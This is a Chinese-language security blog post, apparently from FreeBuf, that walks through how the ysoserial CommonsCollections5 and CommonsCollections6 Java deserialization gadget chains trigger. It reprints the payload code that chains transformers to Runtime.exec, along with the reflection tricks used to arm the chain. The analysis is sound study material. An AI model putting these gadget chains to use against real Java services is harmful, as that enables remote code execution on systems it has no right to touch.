freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

从ysoserial分析cc5和cc6
2022-09-01 16:13:14
所属地 江苏省

ysoserial简介

ysoserial是一款用于生成利用不安全的Java 对象反序列化的有效负载的概念验证工具,下载地址如下:https://github.com/frohoff/ysoserial,一般使用方法为:
java -jar ysoserial-x.x.x-SNAPSHOT-all.jar payload command >ser文件名

idea调试ysoserial

这个也比较简单,打开idea,将ysoserial下载下来之后将其作为项目打开。找到GeneratePayload.java,这里就是ysoserial的main方法。在运行一次之后idea的右上角会出现他的运行配置,我们在程序实参的部分添加我们所要执行的payload和命令,如下:
image.png
这里我们调试使用的jdk版本为1.8.0_311。

cc5

调试前的准备

在调试之前,我们先将idea的payload参数改为cc5和计算器,即CommonsCollections5 "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
再在payloads文件夹下找到对应的payload,也就是cc5的payload,我这里就直接贴代码了:

public BadAttributeValueExpException getObject(final String command) throws Exception {
		final String[] execArgs = new String[] { command };
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
		        new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String.class }, execArgs),
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

		TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

		BadAttributeValueExpException val = new BadAttributeValueExpException(null);
		Field valfield = val.getClass().getDeclaredField("val");
        Reflections.setAccessible(valfield);
		valfield.set(val, entry);

		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

		return val;
	}

我在阅读其他分析文章的时候,发现了这么几种分析方法:一种是从漏洞点直接开始从里向外分析的,还有一种是从反序列化的入口开始从外向里分析的。根据个人习惯,我将从入口点一步一步开始分析。

BadAttributeValueExpException

由于payload返回的是val,而valBadAttributeValueExpException类,所以入口点一定在该类的readObject方法中。入口点一定在返回类的readObject方法中
我们按住ctrl,点击进入该类,利用ctrl+f找到readObject方法。
我们可以看到,86行,有这么一句:
val = valObj.toString();
咱们回到payload,里面有这么一句:

Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);

payload中,该句是利用Field对val变量进行赋值利用ctrl和左键,我们可以知道,val在50行被定义,是private类型的Object类。而它的值被设置成了entry变量。(这里使用了setAccessible方法使其能够修改private变量的值,熟悉反射的师傅应该能够一眼看出来。)

好的,回到valObj.toString();,由于刚刚的field对其赋值,以及readObject中的Object valObj = gf.get("val", null);,所以valObj的值为entry。而entry在payload中是这样声明的
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");,是一个TiedMapEntry类。
所以valObj.toString()其实就是TiedMapEntry.toString。我们接着跟入。
image.png

TiedMapEntry

toString方法中调用了两个方法,分别是getKey和getValue。getKey没什么东西就不看了,来看getValue。
getValue中只有一句return map.get(key);那么这里的map和key是什么呢?看到entry的声明便知道map是lazyMap,key是"foo",也就是return lazyMap.get("foo");,继续跟进。
image.png
image.png

LazyMap

来到148行

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

接下来就比较关键了。
首先是map.containsKey(key) == false,map的值是什么(key的值我们知道是刚刚传进来的"foo")。
我们看到payload中,final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
86行decorate方法如下:

public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

也就是说map为innermap,与此同时下面的factorytransformerChain
然后是如何进入if语句中,查阅菜鸟教程后发现containsKey方法的作用为:如果 hashMap 中存在指定的 key 对应的映射关系返回 true,否则返回 false。
而我们的innermap声明的是一个空的hashMap,很显然不存在映射关系,成功进入if。
加上刚刚说了factory为transformerChain,也就是ChainedTransformer.transform,继续跟进

ChainedTransformer

来到120行,方法具体实现如下:

public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

粗略的来说,就是将前一个对象的值作为后一个对象的输入,对于payload构造的transformers,拼接之后是这样的:

Object obj = Runtime.class.getMethod("getRuntime").invoke(Runtime.class); obj.getClass().getMethod("exec",String.class).invoke(obj,"/System/Applications/Calculator.app/Contents/MacOS/Calculator");

InvokerTransformer

image.png
到最后,iTransformers是InvokerTransformer,进入InvokerTransformer.transform,125行return method.invoke(input, iArgs);。成功执行,至此,cc5的反序列化过程全部分析完毕。

序列化时不执行命令

这个其实也是我看其他师傅的文章学到的,其实很简单,先给他一个错误的类,然后利用反射修改过来即可
首先实例化一个fake transform:Transformer[] faketransform = new Transformer[]{new ConstantTransformer(1)};
然后将其赋值ChainedTransformer chainedTransformer = new ChainedTransformer(faketransform);
再然后利用反射对它进行修改

Field fchain = chainedTransformer.getClass().getDeclaredField("iTransformers");
fchain.setAccessible(true);
fchain.set(chainedTransformer, transformers);

小结

总结一下,链子是这样的:

BadAttributeValueExpException#readObject -> TiedMapEntry#toString -> LazyMap#get -> ChainedTransformer#transform -> InvokerTransformer#transform

从入口点开始分析的话,好处就在于可以通过payload熟练掌握具体的链子的触发方法,从而更加熟悉链子的组成,缺点就是有时候很难知道某些值是什么样子的,基本全靠脑补,加上某些链子较为复杂,入口点很难找到,容易找错入口点然后直接寄,所以一般用以分析payload。
接下来分析它的兄弟链cc6。

cc6

上面由于比较简单,所以cc5我直接没有用idea进行调试,有需要的师傅可以打上断点进行调试。cc6的反序列化过程和cc5其实差不多,因此被称之为兄弟链,但ysoserial中的cc6链构造和值的传递却是十分的有意思。

简单过一下cc6

return一个HashSet类,说明肯定是HashSet类的readObject方法,直接看最下面,map.put
image.png
上面的

map = (((HashSet<?>)this) instanceof LinkedHashSet ?
               new LinkedHashMap<E,Object>(capacity, loadFactor) :
               new HashMap<E,Object>(capacity, loadFactor));

我们可以知道map为hashmap(查instanceof的用法即可知道为什么)
跟进hashmap.put,return putVal(hash(key), key, value, false, true);
image.png
跟进hash(key),return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
image.png
这里的key是entry,跟进TiedMapEntry.hashcodeObject value = getValue();
image.png
跟进getValue,return map.get(key);
image.png
到这里,已经和cc5是一样的了,不用再跟下去了。
也就是说,cc6的链子为

HashSet#readObject -> HashMap#put -> TiedMapEntry#hashcode -> LazyMap#get -> ChainedTransformer#transform -> InvokerTransformer#transform

那么,问题来了,ysoserial中的payload是如何将entry和hashset联系起来的呢?

ysoserial的属性传递

很显然它的属性传递是通过Field进行的。
先把代码贴上

Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }

        Reflections.setAccessible(f);
        HashMap innimpl = (HashMap) f.get(map);

        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        Reflections.setAccessible(f2);
        Object[] array = (Object[]) f2.get(innimpl);

        Object node = array[0];
        if (node == null) {
            node = array[1];
        }

        Field keyField = null;
        try {
            keyField = node.getClass().getDeclaredField("key");
        } catch (Exception e) {
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }

        Reflections.setAccessible(keyField);
        keyField.set(node, entry);

从最开始看起
f = HashSet.class.getDeclaredField("map");,通过ctrl+左键我们可以知道,HashSet中的变量map,其实是一个HashMap
image.png
HashMap innimpl = (HashMap) f.get(map);将map变量的属性(这里是在payload中定义的HashSet类的变量,与HashSet类中定义的map变量不同)传给了HashMap类的innimpl,此时innimpl为"foo"->空(没有字段的对象实例化后的结果就是图中的样子)
image.png
f2 = HashMap.class.getDeclaredField("table");,我们可以知道,变量table其实是一个Node
image.png
Object[] array = (Object[]) f2.get(innimpl);则此时array为"foo"->空
image.png
而node无论如何都会获取到array的键值,因此,node也为"foo"->空
image.png
最后,keyField = node.getClass().getDeclaredField("key");,此时keyField所代表的,是node的key,也就是。由于没有具体的声明变量,所以利用ctrl+左键是看不到的,只能靠调试才能看到
image.png
经过keyField.set(node, entry);,将entry传递给了node的key,也就是node的键的属性变成了TiedMapEntry,如同。
image.png
至此,成功将entry和HashSet联系起来从而形成了链子。

第一次写文章,如果有哪里写的有问题,还希望大佬们多多指点

# 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录